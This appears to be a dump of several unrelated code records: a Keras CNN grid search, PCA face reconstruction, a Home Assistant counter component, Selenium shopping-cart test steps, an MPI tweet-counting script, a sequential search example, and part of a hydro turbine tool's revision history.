grid\n lr_list = [1e-5, 1e-4, 1e-3, 1e-2]\n print(\"Parameters: \", lr_list)\n \n # Runs \n cv = 5\n print(\"Number of runs: \", cv)\n \n for lr in lr_list:\n print(\"\\n Learning rate: \", lr)\n acc_val = np.empty((cv,))\n acc_test = np.empty((cv,))\n st_epoch = np.empty((cv,))\n \n # print summary\n model = create_CNN(learning_rate=lr, summary=True)\n \n for i in range(cv):\n model = create_CNN(learning_rate=lr)\n model.fit(X_train, L_train, epochs=15, batch_size=64, \n verbose=0, validation_data=(X_val, L_val), \n callbacks=[monitor, stopping])\n \n acc_val[i] = model.evaluate(X_val, L_val, verbose=0)[1]\n acc_test[i] = model.evaluate(X_test, L_test, verbose=0)[1]\n st_epoch[i] = stopping.stopped_epoch\n # statistics\n print(\"Accuracy on validate: \" , np.mean(acc_val), np.std(acc_val))\n print(\"Accuracy on test: \", np.mean(acc_test), np.std(acc_test))\n print(\"Stopping epoch: \", np.mean(st_epoch), np.std(st_epoch))\n \n\n###################### GRID SEARCH: ARCHITECTURE ###################\n \nsearch_architecture = False\nif search_architecture:\n \n print(\"\\n Search architecture...\")\n \n cv = 5\n \n # Filepath \n filename = 'architecture.out'\n \n #Callback\n monitor = Monitor(X_test, L_test)\n stopping = EarlyStopping(monitor='accuracy', patience=2)\n \n with open(filename, 'w') as file_out:\n file_out.write(\"Callbacks: \\n\")\n file_out.write(\" - Monitor(X_test, L_test)\\n\")\n file_out.write(\"Number of runs: {}\\n\".format(cv))\n file_out.write(\" - EarlyStopping(monitor='accuracy', patience=2)\\n\")\n \n kernel_list = [2, 4]\n arch_list = [ [1], [2], [4], [6], [8], [16],\n [1, 8], [4, 4], [8, 1], [8, 16] ]\n\n for kernel in kernel_list:\n for arch in arch_list:\n print(\"kernel - arch\", kernel, arch)\n with open(filename, 'a') as file_out:\n file_out.write(\"\\n Kernel size: {}\\n\".format(kernel))\n file_out.write(\"Architecture: {}\\n\".format(arch))\n acc_val = np.empty((cv,))\n acc_test = np.empty((cv,))\n st_epoch = np.empty((cv,))\n for i in range(cv):\n model = create_CNN(kernel=kernel, n_Conv2D=arch)\n model.fit(X_train, L_train, epochs=10, batch_size=64, \n verbose=0, validation_data=(X_val, L_val), \n callbacks=[monitor, stopping]) \n acc_val[i] = model.evaluate(X_val, L_val, verbose=0)[1]\n acc_test[i] = model.evaluate(X_test, L_test, verbose=0)[1]\n st_epoch[i] = stopping.stopped_epoch\n # statistics\n with open(filename, 'a') as file_out:\n file_out.write(\"Accuracy on validate: {} - {}\\n\".format(np.mean(acc_val), np.std(acc_val)))\n file_out.write(\"Accuracy on test: {} - {}\\n\".format(np.mean(acc_test), np.std(acc_test)))\n file_out.write(\"Stopping epoch: {} - {}\\n\".format(np.mean(st_epoch), np.std(st_epoch)))\n\n################## Plot the accuracy history ##################\n \nplot_accuracy = False\nif plot_accuracy:\n \n print(\"Plot accuracy...\")\n \n # Callback\n monitor = Monitor(X_test, L_test)\n \n # 1 Conv2D\n model = create_CNN(n_Conv2D=[6], kernel=4)\n history = model.fit(X_train, L_train, epochs=5, batch_size=64, \n validation_data=(X_val, L_val), callbacks=[monitor])\n rec = history.history\n #plot\n plot_metrics(rec, test=True, savepath='../report/fig/history_accuracy_CNN_2.png')\n # save data\n arr_accuracy = np.column_stack((rec['accuracy'], rec['val_accuracy'], \n rec['test_accuracy']))\n np.savetxt(\"../report/data/history_accuracy_CNN_2.dat\", arr_accuracy, delimiter=' ')\n \n############# Plot the fluctuations between models ##########\n \nplot_fluctuations = False\nif plot_fluctuations:\n \n print(\"Plot fluctuating models...\")\n \n # Callback\n monitor = Monitor(X_test, L_test)\n \n n_epochs = 5\n n_iter = 10\n rec = np.empty((n_epochs, n_iter))\n for i in range(n_iter):\n model = create_CNN()\n history = model.fit(X_train, L_train, epochs=n_epochs, batch_size=64, \n validation_data=(X_val, L_val), callbacks=[monitor])\n rec[:, i] = history.history['test_accuracy']\n plt.plot(history.history['test_accuracy'])\n plt.xlabel('epochs')\n plt.ylabel('accuracy')\n plt.title('Accuracy on the test set for identical models')\n plt.savefig('../report/fig/fluctuations_CNN_4.png')\n plt.show()\n #save data\n np.savetxt('../report/data/fluctuations_CNN_4.dat', rec, delimiter=' ')\n","sub_path":"CNN/CNN.py","file_name":"CNN.py","file_ext":"py","file_size_in_byte":22432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"569495875","text":"import numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport os\n\n\ndef load_images(path: str, file_ending: str = \".png\") -> np.ndarray:\n \"\"\"\n Load all images in path with matplotlib that have given file_ending\n\n Arguments:\n path: Path of directory containing image files that can be assumed to have all the same dimensions\n file_ending: string that image files have to end with, if not->ignore file\n\n Return:\n images: A 3-D Numpy Array representing multiple images\n Dim 1 = Number of images\n Dim 2 = Height of images\n Dim 3 = Width of images\n \"\"\"\n\n images = []\n\n files = os.listdir(path)\n files.sort()\n for cur in files:\n if not cur.endswith(file_ending):\n continue\n\n try:\n image = mpl.image.imread(path + cur)\n img_mtx = np.asarray(image, dtype=\"float64\")\n images.append(img_mtx)\n except:\n continue\n\n return np.array(images)\n\n\nif __name__ == '__main__':\n\n print(f'---------- TRAIN ----------')\n # Load images as 3-D Numpy Array.\n images = load_images('../Data/faceset/train/')\n y, x = images.shape[1:3]\n print(f'Loaded image matrix of shape {images.shape}')\n\n # Flatten last two dimensions by reshaping the array\n images = images.reshape(images.shape[0], x * y)\n print(f'Image matrix shape after flattening {images.shape}')\n\n # 1.1 Calculate mean values for each pixel across all images\n # 1.2 Subtract mean values from images to center the data\n # TODO YOUR CODE HERE\n images_mean = np.mean(images)\n images -= images_mean\n\n # Calculate PCA\n # 2. Compute Eigenvectors of the image data\n # and find the best linear mapping (eigenbasis)\n # use the np.linalg.svd with the parameter 'full_matrices=False'\n # pcs contains the singular vectors ~ eigen vectors\n U, svals, pcs = np.linalg.svd(images, full_matrices=False)\n print(\n f\"U shape: {U.shape}, PCS shape: {pcs.shape}, SVALS shape: {svals.shape}, \",\n U.shape, pcs.shape, svals.shape)\n\n\n # Use k=10/75/150 first eigenvectors for reconstruction\n k = 150\n\n # 3. Use k=10/75/150 first (most important) Eigenvectors for image reconstruction\n # That means we only need the first k rows in the Vt matrix\n # TODO YOUR CODE HERE\n Vh = pcs[:k, :]\n\n # 4. Load, flatten and center the test images (as in 1.1 and 1.2)\n images_test = load_images('../Data/faceset/test/')\n y, x = images_test.shape[1:3]\n # TODO YOUR CODE HERE - hint: see auto-encode.py\n images_test_normalized = images_test.reshape(images_test.shape[0], x*y) - images_mean\n\n # List for reconstructed images to plot it later\n reconstructed_images = []\n\n # 5. Loop through all normalized test images\n # to use the Eigenbasis to compress and then reconstruct our test images\n # and measure the reconstruction error between reconstructed and original image\n errors = []\n # TODO UNCOMMENT\n for i, test_image_normalized in enumerate(images_test_normalized):\n print(f'----- image[{i}] -----')\n # TODO YOUR CODE HERE\n # 5.1 Project in basis by using the dot product of the Eigenbasis and the flattened image vector\n # the result is a set of coefficients that are sufficient to reconstruct the image afterwards\n coeff_test_image = Vh @ test_image_normalized\n print(f'Encoded / compact shape: {coeff_test_image.shape}')\n # TODO YOUR CODE HERE\n # 5.2 Reconstruct image from coefficient vector and add mean\n reconstructed_image = np.transpose(Vh) @ coeff_test_image + images_mean\n print(f'Reconstructed shape: {reconstructed_image.shape}')\n reconstructed_image = reconstructed_image.reshape(images_test[0].shape)\n reconstructed_images.append(reconstructed_image)\n # TODO UNCOMMENT\n # Measure error between loaded original image and reconstructed image\n error = np.linalg.norm(images_test[i] - reconstructed_image)\n errors.append(error)\n print(\"reconstruction error: \", error)\n\n # Plot Results\n if len(images_test) != 0 and len(reconstructed_images) != 0:\n plot_img_original = images_test[-1]\n plot_img_reconstructed = reconstructed_images[-1]\n\n grid = plt.GridSpec(2, 9)\n\n plt.subplot(grid[0, 0:3])\n plt.imshow(plot_img_original, cmap='Greys_r')\n plt.xlabel('Original person')\n\n plt.subplot(grid[0, 3:6])\n plt.imshow(plot_img_reconstructed, cmap='Greys_r')\n plt.xlabel('Reconstructed image')\n\n plt.subplot(grid[0, 6:])\n plt.plot(np.arange(len(images_test)), errors)\n plt.xlabel('Errors all images')\n\n print(\"Mean error\", np.asarray(errors).mean())\n\n plt.savefig(\"pca_solution.png\")\n plt.show()\n else:\n print(\n 'Make sure to fill image_test and reconstructed_images lists with images to show.'\n )\n","sub_path":"4/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":4975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"183634419","text":"\"\"\"Add counters for entities\"\"\"\nimport re\nfrom typing import List, Optional, TypedDict, Union\n\nfrom homeassistant.components.template.binary_sensor import CONF_ATTRIBUTE_TEMPLATES\nfrom homeassistant.const import (\n ATTR_ID,\n ATTR_AREA_ID,\n CONF_ENTITY_ID,\n CONF_FRIENDLY_NAME,\n CONF_ICON_TEMPLATE,\n CONF_TYPE,\n CONF_VALUE_TEMPLATE,\n STATE_OFF,\n STATE_ON,\n)\nfrom homeassistant.helpers.entity_platform import EntityPlatform\nfrom homeassistant.helpers.template import Template\n\nfrom .binary_sensor import create_binary_sensor_entity\nfrom .registry import AreaSettings\nfrom ..const import (\n CONF_COUNT,\n CONF_ENTITIES,\n CONF_ENTITY_PLATFORM,\n CONF_SECURITY,\n CONF_SOMETHING_ON,\n CONF_TRACKED_ENTITY_COUNT,\n CONF_VISIBLE,\n DOMAIN,\n PLATFORM_BINARY_SENSOR,\n SECURITY_ENTITY_TYPE_OFF_STATES,\n SECURITY_ENTITY_TYPES,\n SOMETHING_ON_ENTITY_TYPES,\n TITLE,\n TRACKED_ENTITY_TYPE_ON_STATES,\n TRACKED_ENTITY_TYPES,\n)\nfrom ..share import get_base\n\nPLATFORM = PLATFORM_BINARY_SENSOR\n\n\nclass CounterTemplates(TypedDict):\n state_template: str\n count_template: str\n entity_template: str\n tracked_count_template: str\n\n\nasync def setup_counters() -> None:\n \"\"\"Setup counters.\"\"\"\n\n await update_counters()\n\n\nasync def update_counters() -> None:\n \"\"\"Update all counters. Only creates counters when entities exist that match the counter.\"\"\"\n\n base = get_base()\n base.counters = []\n areas = base.areas\n\n # Create counters for all tracked types and something on types in every area\n for entity_type in TRACKED_ENTITY_TYPES + SOMETHING_ON_ENTITY_TYPES:\n states = [STATE_ON] + TRACKED_ENTITY_TYPE_ON_STATES.get(entity_type, [])\n for area in areas:\n await create_counter(entity_type, states, None, area)\n\n # Create a security counter in each security type in every area\n for entity_type in SECURITY_ENTITY_TYPES:\n states = [STATE_OFF] + SECURITY_ENTITY_TYPE_OFF_STATES.get(entity_type, [])\n for area in areas:\n await create_counter(entity_type, states, CONF_SECURITY, area, True)\n\n # Create super counters in each area for all security type and all something on types.\n for area in areas:\n await create_super_counter(\n CONF_SECURITY, SECURITY_ENTITY_TYPES, CONF_SECURITY, area\n )\n await create_super_counter(\n CONF_SOMETHING_ON, SOMETHING_ON_ENTITY_TYPES, None, area\n )\n\n # Create super counters for each tracked type\n for entity_type in TRACKED_ENTITY_TYPES:\n await create_super_counter(entity_type, [entity_type])\n\n # Create super counter for something on types\n await create_super_counter(CONF_SOMETHING_ON, SOMETHING_ON_ENTITY_TYPES)\n\n # Create super counter for security types\n await create_super_counter(CONF_SECURITY, SECURITY_ENTITY_TYPES, CONF_SECURITY)\n\n\nasync def create_counter(\n entity_type: str,\n states: List[str],\n category: Optional[str] = None,\n area: Optional[AreaSettings] = None,\n reject: bool = False,\n) -> None:\n \"\"\"Create a counter for a single entity type.\"\"\"\n\n prefix = _prefix_from_category(category)\n full_entity_type = f\"{prefix}{entity_type}\"\n counter = await _create_counter(\n full_entity_type,\n [full_entity_type],\n states=states,\n prefix=prefix,\n area=area,\n reject=reject,\n )\n\n if counter is not None:\n get_base().counters.append(counter)\n\n\nasync def create_super_counter(\n name: str,\n entity_types: List[str],\n category: Optional[str] = None,\n area: Optional[AreaSettings] = None,\n) -> None:\n \"\"\"Create a counter based on other counters.\"\"\"\n\n prefix = _prefix_from_category(category)\n await _create_counter(name, entity_types, prefix=prefix, area=area, sum=True)\n\n\nasync def remove_counter(entity_id: str) -> None:\n \"\"\"Remove a counter from HA if it exists.\"\"\"\n\n hass = get_base().hass\n\n platform: EntityPlatform = hass.data[CONF_ENTITY_PLATFORM][PLATFORM][0]\n sensor = hass.states.get(entity_id)\n\n # if sensor is not None and not sensor.attributes.get(\"restored\", False):\n if sensor is not None:\n await platform.async_remove_entity(entity_id)\n\n\ndef _counter_entities(\n entity_type: str, area: Optional[AreaSettings] = None\n) -> List[str]:\n \"\"\"Enumerate the entities the counter will check for updates on.\"\"\"\n\n entities = get_base().entities\n return [\n entity[CONF_ENTITY_ID]\n for entity in entities\n if (\n entity[CONF_TYPE] == entity_type\n and entity[CONF_VISIBLE]\n and (\n (entity[ATTR_AREA_ID] == area[ATTR_ID])\n if area is not None\n else (entity[ATTR_AREA_ID] is not None)\n )\n )\n ]\n\n\ndef _counter_templates(\n entity_type: str,\n states: List[str],\n area: Optional[AreaSettings] = None,\n reject: bool = False,\n) -> Optional[CounterTemplates]:\n \"\"\"Create the templates for the counter entity\"\"\"\n\n entity_ids = _counter_entities(entity_type, area)\n\n if len(entity_ids) == 0:\n return None\n\n standard_states = []\n compare_states = []\n for state in states:\n compare_match = re.match(\"(<=|>=|<|>) *(\\\\d+)\", str(state))\n if compare_match is None:\n standard_states.append(state)\n else:\n compare_states.append([compare_match[1], compare_match[2]])\n\n state_template = []\n count_template = []\n entity_template = []\n for id in entity_ids:\n if len(standard_states) > 0:\n state_template.append(\n f\"states('{id}') {'not ' if reject else ''}in {standard_states}\"\n )\n count_template.append(\n f\"(1 if states('{id}') {'not ' if reject else ''}in {standard_states} else 0)\"\n )\n entity_template.append(\n f\"('{id}' if states('{id}') {'not ' if reject else ''}in {standard_states} else '')\"\n )\n\n for compare_state in compare_states:\n state_template.append(\n f\"{'not' if reject else ''}(states('{id}') | int {compare_state[0]} {compare_state[1]} if states('{id}') is regex_match('\\\\d+') else false)\"\n )\n count_template.append(\n f\"(1 if {'not' if reject else ''}(states('{id}') | int {compare_state[0]} {compare_state[1]} if states('{id}') is regex_match('\\\\d+') else false) else 0)\"\n )\n entity_template.append(\n f\"('{id}' if {'not' if reject else ''}(states('{id}') | int {compare_state[0]} {compare_state[1]} if states('{id}') is regex_match('\\\\d+') else false) else '')\"\n )\n\n return {\n \"state_template\": f\"{{{{ {' or '.join(state_template)} }}}}\",\n \"count_template\": f\"{{{{ {' + '.join(count_template)} }}}}\",\n \"entity_template\": f\"{{{{ [{', '.join(entity_template)}] | select('!=', '') | list }}}}\",\n \"tracked_count_template\": f\"{{{{ {len(entity_ids)} }}}}\",\n }\n\n\ndef _super_counter_entities(regex: str) -> List[str]:\n \"\"\"Enumerate the counters that this super counter will check for updates on.\"\"\"\n\n entity_ids: List[str] = get_base().counters\n\n return [\n entity_id for entity_id in entity_ids if re.search(regex, entity_id) is not None\n ]\n\n\ndef _super_counter_templates(\n entity_types: List[str],\n area: Optional[AreaSettings] = None,\n prefix: Optional[str] = None,\n) -> Optional[CounterTemplates]:\n \"\"\"Create the templates for the super counter entity.\"\"\"\n\n area_regex = f\"area_{area[ATTR_ID]}_\" if area is not None else \"area_[a-z\\\\d]+_\"\n regex = f\"binary_sensor\\\\.{DOMAIN}_{area_regex}{prefix}({'|'.join(entity_types)})\"\n\n entity_ids = _super_counter_entities(regex)\n\n if len(entity_ids) == 0:\n return None\n\n state_template = []\n count_template = []\n entity_template = []\n tracked_count_template = []\n\n for id in entity_ids:\n state_template.append(f\"is_state('{id}', '{STATE_ON}')\")\n count_template.append(f\"(state_attr('{id}', '{CONF_COUNT}'))\")\n entity_template.append(f\"(state_attr('{id}', '{CONF_ENTITIES}'))\")\n tracked_count_template.append(\n f\"(state_attr('{id}', '{CONF_TRACKED_ENTITY_COUNT}'))\"\n )\n\n return {\n \"state_template\": f\"{{{{ {' or '.join(state_template)} }}}}\",\n \"count_template\": f\"{{{{ {' + '.join(count_template)} }}}}\",\n \"entity_template\": f\"{{{{ {' + '.join(entity_template)} }}}}\",\n \"tracked_count_template\": f\"{{{{ {' + '.join(tracked_count_template)} }}}}\",\n }\n\n\ndef _prefix_from_category(category: Optional[str] = None) -> str:\n \"\"\"Get the prefix for a category. Used in _create_counter.\"\"\"\n\n return f\"{category}_\" if category is not None and category != \"\" else \"\"\n\n\nasync def _create_counter(\n name: str,\n entity_types: Union[str, List[str]],\n states: Optional[List[str]] = None,\n prefix: Optional[str] = None,\n area: Optional[AreaSettings] = None,\n reject: bool = False,\n sum: bool = False,\n) -> Optional[str]:\n \"\"\"Create a counter or super counter if sum is true.\"\"\"\n\n platform: EntityPlatform = get_base().hass.data[CONF_ENTITY_PLATFORM][PLATFORM][0]\n\n area_string = f\"area_{area[ATTR_ID]}_\" if area is not None else \"\"\n area_title = f\"Area {area[ATTR_ID][-5:-1]} \" if area is not None else \"\"\n\n device_id = f\"{DOMAIN}_{area_string}{name}\"\n entity_id = f\"{PLATFORM}.{device_id}\"\n friendly_name = f\"{TITLE} {area_title}{name.replace('_', ' ').title()}\"\n\n await remove_counter(entity_id)\n\n templates: CounterTemplates\n if sum:\n templates = _super_counter_templates(entity_types, area, prefix)\n else:\n templates = _counter_templates(entity_types[0], states, area, reject)\n\n if templates is None:\n return None\n\n await platform.async_add_entities(\n [\n await create_binary_sensor_entity(\n device_id,\n {\n CONF_FRIENDLY_NAME: friendly_name,\n CONF_ICON_TEMPLATE: Template(\"mdi:counter\"),\n CONF_VALUE_TEMPLATE: Template(templates[\"state_template\"]),\n CONF_ATTRIBUTE_TEMPLATES: {\n CONF_COUNT: Template(templates[\"count_template\"]),\n CONF_ENTITIES: Template(templates[\"entity_template\"]),\n CONF_TRACKED_ENTITY_COUNT: Template(\n templates[\"tracked_count_template\"]\n ),\n },\n },\n )\n ]\n )\n\n return entity_id\n","sub_path":"custom_components/custom_dashboard/components/counters.py","file_name":"counters.py","file_ext":"py","file_size_in_byte":10615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"262040212","text":"from selenium.webdriver.common.by import By\nfrom behave import given, when, then\nfrom selenium import webdriver\nfrom time import sleep\n\nSC_LOCATOR = (By.CSS_SELECTOR, \"#nav-cart\")\nCHECK_PAGE = (By.CSS_SELECTOR, \".sc-empty-cart-header\")\n\n# open the url\n@given('Open Amazon page')\ndef open_amazon_help_page(context):\n context.driver.get('https://www.amazon.com')\n\n# click\n@when ('Click Shopping cart button')\ndef click_sc_button(context):\n amazon_sc_button = context.driver.find_element(*SC_LOCATOR)\n amazon_sc_button.click()\n\n# wait for 2 sec\n sleep(2)\n\n# verify\n@then ('Your Shopping Cart is empty. in a header is shown')\ndef check_page(context):\n assert 'Your Shopping Cart is empty.' in context.driver.find_element(*CHECK_PAGE).text\n\n# wait for 2 sec\n sleep(2)\n\n\n","sub_path":"hw_3/features/steps/amazon_shopping_cart_steps.py","file_name":"amazon_shopping_cart_steps.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"18021691","text":"# Import mpi so we can run on more than one node and processor\n# Import csv to read files and arguments\nimport csv\nimport getopt\n# Import regular expressions to look for topics and mentions, json to parse tweet data\nimport json\nimport operator\nimport re\nimport sys\n\nfrom mpi4py import MPI\n\n# Constants\nTOPIC_REGEX = '#\\w+'\nMENTION_REGEX = '@\\w+'\nMASTER_RANK = 0\n\n\ndef count_regex(tweet, regex):\n # We want to find the most mentioned @user in the dataset\n counts = {}\n occurences = re.findall(regex, tweet['text'])\n for occurence in occurences:\n counts[occurence] = counts.setdefault(occurence, 0) + 1\n return counts\n\n\ndef trending_topics(tweet):\n # We want to find the most mentioned #word in the dataset\n return count_regex(tweet, TOPIC_REGEX)\n\n\ndef user_mentions(tweet):\n # We want to find the most mentioned @user in the dataset\n return count_regex(tweet, MENTION_REGEX)\n\n\ndef tweet_to_json(tweet):\n # Remove poorly formatted urls and new line / carriage returns\n tweet = re.sub('\"source\":\".*?\"', '\"source\":\"\"', tweet)\n tweet = re.sub('(\\r|\\n)+', '', tweet)\n tweet = json.loads(tweet)\n return tweet\n\n\n# Argument finding\ndef print_usage():\n print('usage is: twitter_search_541635.py -i [opts] where opts are:')\n print(' -[tms] flag to search topics, mentions or search')\n print(' by a query string respectively, -s requires')\n print(' a search string. (optional, default is mentions).')\n\n\ndef read_arguments(argv):\n # Initialise Variables\n inputfile = ''\n search_type = 'mentions'\n search_query = ''\n ## Try to read in arguments\n try:\n opts, args = getopt.getopt(argv, \"hi:tms:\")\n except getopt.GetoptError as error:\n print(error)\n print_usage()\n sys.exit(2)\n for opt, arg in opts:\n if opt == '-h':\n print_usage()\n sys.exit()\n elif opt in (\"-i\"):\n inputfile = arg\n elif opt in (\"-m\"):\n search_type = 'mentions'\n elif opt in (\"-t\"):\n search_type = 'topic'\n elif opt in (\"-s\"):\n search_type = 'string_search'\n search_query = arg\n # Return all the arguments\n return inputfile, search_type, search_query\n\n\n# Output printers\ndef print_matches(matches, squery):\n print(squery, \" was found \", matches.setdefault(squery, 0), \" times.\")\n\n\ndef print_mentions(mentions):\n sorted_counts = sorted(mentions.items(), key=operator.itemgetter(1))\n print(\"The top ten users mentioned are:\")\n for mention in reversed(sorted_counts[-10:]):\n user, times = mention\n print(user, \":\", times)\n\n\ndef print_topics(topics):\n sorted_counts = sorted(topics.items(), key=operator.itemgetter(1))\n print(\"The top ten trending topics are:\")\n for topic in reversed(sorted_counts[-10:]):\n topic, times = topic\n print(topic, \":\", times)\n\n\ndef print_output(results, stype, squery):\n if stype in (\"mentions\"):\n print_mentions(results)\n elif stype in (\"topic\"):\n print_topics(results)\n elif stype in (\"string_search\"):\n print_matches(results, squery)\n\n\ndef process_tweet(counts, stype, squery, tweet):\n if stype in (\"mentions\"):\n results = user_mentions(tweet)\n elif stype in (\"topic\"):\n results = trending_topics(tweet)\n elif stype in (\"string_search\"):\n regex = '\\\\b' + squery + '\\\\b'\n results = count_regex(tweet, regex)\n\n for k, v in results.items():\n counts[k] = counts.setdefault(k, 0) + v\n return counts\n\n\ndef process_tweets(rank, input_file, processes, stype, squery):\n with open(input_file, encoding=\"utf8\") as f:\n # rows = csv.DictReader(f)\n occurences = {}\n # Send tweets to slave processes\n try:\n for i, line in enumerate(f):\n if i % processes == rank:\n # tweet = line['value']\n try:\n if line[-2:] == \",\\n\":\n line = line[:-2]\n tweet = json.loads(line)\n # line_obj = json.loads(line)\n # tweet = tweet_to_json(tweet)\n occurences = process_tweet(occurences, stype, squery, tweet)\n except ValueError:\n print(\"Malformed JSON in tweet \", i)\n except csv.Error:\n print(\"Could not read line in csv.\")\n return occurences\n\n\ndef marshall_tweets(comm):\n processes = comm.Get_size()\n counts = []\n # Now ask all processes except oursevles to return counts\n for i in range(processes - 1):\n # Send request to slaves to send back the data\n comm.send('return_data', dest=(i + 1), tag=(i + 1))\n for i in range(processes - 1):\n # Receive data the data sentfrom slaves and append it in the master and then return the final count\n counts.append(comm.recv(source=(i + 1), tag=MASTER_RANK))\n return counts\n\n\ndef master_tweet_processor(comm, input_file, stype, squery):\n # Read our tweets\n rank = comm.Get_rank()\n size = comm.Get_size()\n\n occurences = process_tweets(rank, input_file,\n size, stype, squery)\n # if multicore then...\n if size > 1:\n counts = marshall_tweets(comm)\n # Marshall sends the final count from multiple slaves\n\n # collect all the data to occurances array\n for d in counts: # loop through all the entries\n # loop on key value pair and add the entirs\n for k, v in d.items():\n occurences[k] = occurences.setdefault(k, 0) + v\n\n # Turn everything off\n # shutdown all the slaves except fot the master. But obvious. Still need to code as such.\n for i in range(size - 1):\n # Receive data\n comm.send('exit', dest=(i + 1), tag=(i + 1))\n\n # Print output\n # print the final result using print_output logic\n print_output(occurences, stype, squery)\n\n\ndef slave_tweet_processor(comm, input_file, stype, squery):\n # We want to process all relevant tweets and send our counts back\n # to master when asked\n # Find my tweets\n rank = comm.Get_rank()\n size = comm.Get_size()\n\n # use below line to process the tweet and return the count\n counts = process_tweets(rank, input_file, size, stype, squery)\n # Now that we have our counts then wait to see when we return them.\n while True:\n in_comm = comm.recv(source=MASTER_RANK, tag=rank)\n # Check if command has been sent from master. It must be 'return data' or 'exit' .. in string format\n # follow the instruction\n if isinstance(in_comm, str):\n if in_comm in (\"return_data\"):\n # Send data back to the master\n # print(\"Process: \", rank, \" sending back \", len(counts), \" items\")\n comm.send(counts, dest=MASTER_RANK, tag=MASTER_RANK)\n elif in_comm in (\"exit\"):\n exit(0)\n\n\ndef main(argv):\n # Get\n input_file, stype, squery = read_arguments(argv)\n # Work out our rank, and run either master or slave process\n comm = MPI.COMM_WORLD\n rank = comm.Get_rank()\n if rank == 0:\n # We are master\n master_tweet_processor(comm, input_file, stype, squery)\n else:\n # We are slave\n slave_tweet_processor(comm, input_file, stype, squery)\n\n\n# Run the actual program\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","sub_path":"spartan-example/twitter_search_541635.py","file_name":"twitter_search_541635.py","file_ext":"py","file_size_in_byte":7547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"425297376","text":"# Sequential Search\n\n\ndef seq_search_unordered(arr, el):\n for i in range(len(arr)):\n if el == arr[i]:\n return True\n return False\n\n\ndef seq_search_ordered(arr, el):\n '''\n :param arr: ordered list of ints\n :param el: int\n :return: bool\n '''\n for i in range(len(arr)):\n if el == arr[i]:\n return True\n elif arr[i] > el:\n break\n return False\n\n\nprint(seq_search_unordered([1, 5, 3, 7, 2], 3))\nprint(seq_search_unordered([1, 5, 3, 7, 2], 10))\nprint(seq_search_ordered([1, 2, 3, 5, 7], 3))\nprint(seq_search_ordered([1, 2, 3, 5, 7], 10))\n","sub_path":"data structures/06 Search/01sequential_search.py","file_name":"01sequential_search.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"319530489","text":"#!/usr/bin/python\r\nfrom math import pi, log10, log, sqrt\r\n# import os\r\nimport sys # Needed to find out what platform are using. sys.platform = win32 or win64? or linux2 or????\r\n\r\n\r\n# Designed and developed by Smithies Technology Ltd\r\n# Email andrew.smithies@paradise.net.nz\r\n\r\n\r\n\r\n# Revision History\r\n\r\n\r\n# R17 Removed cutdowns from automatic SD selector in favour of packing the rotor out to reduce magnetisim.\r\n# New suffix in SD code (0) for packers\r\n# Changed columns in list of suggested SD codes to now be Vo, Voc, and stators V/rpm for table in EcoInnovation workshop\r\n# Major replacement of SD lookup table. Removed unused parameters\r\n# Revised weighting factors for which SD codes to show first\r\n# Removed \"Magic7\"\r\n# Added in a weighting factor for packers. n = number of packers. use 1+(n*0.02)^2\r\n# Added in a weighting factor for optimal fitness. There is a max efficiency point which gives a 1\r\n# As power per finger approaches max weighting increases by 2 using square law\r\n# As power per finger reduces max weighting factor increases to 2 at 50% W/finger, then to 5 at 0% W/finger\r\n#\r\n# A new alarm for high current per LHpowerspout. Was just a over 32A warning\r\n# Over 32A requires \"high current upgrade needed\",\r\n# If turbine amp >50 then print \"current too high, lift your load voltage and reduce input flow to keep under 50 amp load current\"\r\n\r\n\r\n# R16 Requested change to increase max jet diameter for TRG from 20 to 25mm\r\n\r\n# R15 Bug found in SD code generator added in version R09. Cutdowns codes where given when the loading operating point was for\r\n# more than the cutdown number of fingersets. Would result in designs where the cutdown was unable to load the\r\n# pelton wheel properly\r\n\r\n# R14 Added a performance drop off to TRG results for less than 8 lps flow rates. See use of new dictionary site.lpseff\r\n# Prevents showing HP stator options when user has not selected an HP product\r\n# Added support for new rewound versions of smart drives\r\n# Added a preference dictionary so particular SD versions are put to the top of the list\r\n# Added a limiter to only show the top 10 SD options\r\n# Cutdown stators are not suggested for TRG turbines\r\n# Only 42 finger, 14 finger set stators (ie 100, 80 and 60 series) are considered for cutdowns\r\n# Cable loss defaults to 5% loss for basicdata\r\n# PLT and TRG and HP versions default to 80V at startup with basicdata\r\n# SD codes now have a dash in them. ie 2S-7P\r\n# When you select a PS type the number jets is updated. If a TRG then selects 4 jets, else 2 jets. Requires caller to now use \"PSchange\" function request\r\n\r\n\r\n# R13 Added in table info in electrical user notes so users understand what to enter\r\n# into their inverter/charge controller\r\n\r\n# R12 Added in a 1V drop for rectifier losses by ratio-ing down cable amps. See lines 814-817 and at 1015 See allowance setting at line 194\r\n# Wording change to alarm number 53 for PLT and TRG option.\r\n# And updated alarm 53 to not use the < symbol as trips up the web page html display\r\n# Fixed lack of HP turbine results. water watts used vaule now set correctly in 2057-2061 and 2086-2091 like in 2117-2120\r\n\r\n# R11 Changes to simplify PLT versions and add in TRG\r\n# New PLT, PLT HP, TRG and TRG HP default to 56V load voltage and max turbine voltage of 400\r\n# Jet diameter calculation now increases jet area by 1/0.83 to account for discharge coefficient\r\n# Change runaway rpm limit to 3000 rpm for warning and updated text message\r\n# Changed no load voltage warning to better reflect ELV rules\r\n# Changed number of nozzles to suit when a TRG is selected\r\n\r\n# R10 Minor tweaks\r\n\r\n# R09 Min cable length reduced from 10 down to 2m\r\n# Static head now allowed to be up to 160m from 130m\r\n# Operating head now ok at 130m before warning is given to user. Up from 100m\r\n# Updated/New design voltage targets for new turbines. ('BE':-none-, 'ME100':90, 'ME120':105, 'ME140':125, 'ME250':230, 'GE400':350)\r\n# and max operating voltages to { 'BE': 400, 'ME100': 96, 'ME120': 115, 'ME140': 135, 'ME250': 240, 'GE400': 380 }\r\n# Introduced ' HP' as a suffix to above types to designate a HP 